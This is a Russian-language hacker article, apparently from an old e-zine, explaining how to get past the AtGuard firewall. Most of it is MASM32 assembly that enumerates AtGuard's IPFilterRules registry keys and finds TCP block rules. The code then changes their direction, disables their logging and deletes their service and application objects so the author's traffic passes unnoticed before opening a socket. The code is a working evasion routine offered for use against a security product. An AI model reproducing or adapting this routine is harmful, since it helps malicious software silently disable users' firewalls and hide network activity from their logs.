Все начиналось с того, что я однажды родился. Я очень скоро узнал, что все на свете мне нельзя. Нельзя похачить мне сервак, нельзя использовать мне Napster, и нельзя на километр приближаться к Биллу Гейтсу ..... =)
Как сказал Гагарин - ПОЕХАЛИ !
Сегодня мой маленький друг я расскажу тебе сказку о .... Хотя ты уже должен был бы подрасти, если конечно читал мои прошлые статьи =). Ну да ладно, сегодня я поведую вам о том, как обойти AtGuard-a ( есть такой firewall) ). Достаточно известная вещь и многие им пользуются. В статье я приведу пример своего кода на языке АССЕМБЛЕР, а именно MASM32. Хочу сразу сказать, что учу я его не давно, так же как и WIN API функции, и если вы вдруг найдете у меня ошибки, то сообщите мне о них. И вот еще,не надо мне писать, что мой код не оптимизирован, я это сам знаю, это было сделанно для простоты его понимания.
AtGuard в своей работе очень активно использует реестр, ( я это выяснил с помощью утилиты Regmon ) все свои настройки он содержит там, в том числе и FireWall Rule. В реестре это выглядит примерно так:
-IPFilterRules | |---Rule0 |---Rule1 |---Rule2 |---Rule3 |---Rule4
В каждом из этих RuleXX содержится информация о том, какие пакеты могут проходить через firewall, а какие нет. Основные вещи которые нас интересуют в этих Rule:
-- RuleAction ( запрет/разрешение на прохождение пакетов )
и
-- RuleProtocol ( отвечает за используемый протокол для этого Rule )
Если при сканирование этих параметров мы встретим RuleAction раным 2, а RuleProtocol равным 6 то это то что на надо ! Далее, мы изменяем/стираем некоторые значения, для того что бы наши пакеты могли проходить сквозь firewall.А вот собственно и сам код:
.data RuleAction db "RuleAction",0 ; см. выше RuleDirect db "RuleDirection",0 ; Направление пакетов RuleProt db "RuleProtocol",0 ; см. выше RuleLog db "RuleLogging",0 ; Запись в лог RuleLocal db "RuleLocalServiceObject",0 ; Local Service RuleRemote db "RuleRemoteServiceObject",0 ; Remote Service RuleApp db "RuleApplicationObject",0 ; Какая программа это правило использует dwRuleDir dd 00000003H dwRuleLog dd 00000000H ReeFltPath db "SoftwareWRQIAMFirewallObjectsIPFilterRules",0 ;Путь по дефаулту до firewalla в реестре dwIndex dd 0 lpszName db 50 dup(?) dwNameLen dd SIZEOF lpszName NewKey dd ? ReeSizeDW dd ? ReeGotcha dd ? phKey dd ? lpdwDisp dd ? ReeSizeDW dd ? DWSize equ 4 .code ; ; Открываем ключ в реестре ..... IPFilterRules ; invoke RegOpenKeyEx, HKEY_LOCAL_MACHINE, ADDR ReeFltPath, NULL, KEY_ALL_ACCESS, ADDR phKey .IF eax == ERROR_SUCCESS ; ; Функиця перечисляет подключи указанного открытого ключа ( Rule1, Rule2 .... ) ; Recycle: mov dwNameLen,50 invoke RegEnumKeyEx, phKey, dwIndex, ADDR lpszName, ADDR dwNameLen, NULL, NULL, NULL, NULL .IF eax != ERROR_NO_MORE_ITEMS inc dwIndex ; ; Открываем найденный ключ ; FuckGuard: invoke RegOpenKeyEx, phKey, ADDR lpszName, NULL, KEY_ALL_ACCESS, ADDR NewKey .IF eax == ERROR_SUCCESS mov eax,REG_DWORD mov lpdwDisp,eax ; ; и проверяем значения ; invoke RegQueryValueEx, NewKey, ADDR RuleAction, NULL, ADDR lpdwDisp, ADDR ReeGotcha, ADDR ReeSizeDW mov eax,ReeGotcha .IF eax == 2 invoke RegQueryValueEx, NewKey, ADDR RuleProt, NULL, ADDR lpdwDisp, ADDR ReeGotcha, ADDR ReeSizeDW mov eax,ReeGotcha .IF eax == 6 ; ; ( MessageBox тут для дебага =) ; invoke MessageBox, NULL, ADDR lpszName, ADDR AppName, MB_OK ; ; Если нам все подошло, то немного отредактируем некоторые значени .. ; invoke RegSetValueEx, NewKey, ADDR RuleDirect, NULL, REG_DWORD_LITTLE_ENDIAN, ADDR dwRuleDir,DWSize invoke RegSetValueEx, NewKey, ADDR RuleLog, NULL, REG_DWORD_LITTLE_ENDIAN, ADDR dwRuleLog,DWSize invoke RegDeleteValue, NewKey, ADDR RuleLocal invoke RegDeleteValue, NewKey, ADDR RuleRemote invoke RegDeleteValue, NewKey, ADDR RuleApp invoke RegCloseKey, NewKey invoke RegCloseKey, phKey jmp InitSocket ; ; и на выход ; .ENDIF .ENDIF .ENDIF invoke RegCloseKey, NewKey ; ; Если ничего не нашли в одном из Rule то идем на следующий ; jmp Recycle .ENDIF invoke RegCloseKey, phKey .ENDIF
[+] Я рад что работает =)
[-] Почему то все начинает работать только после ребута
Сообственно говоря это все.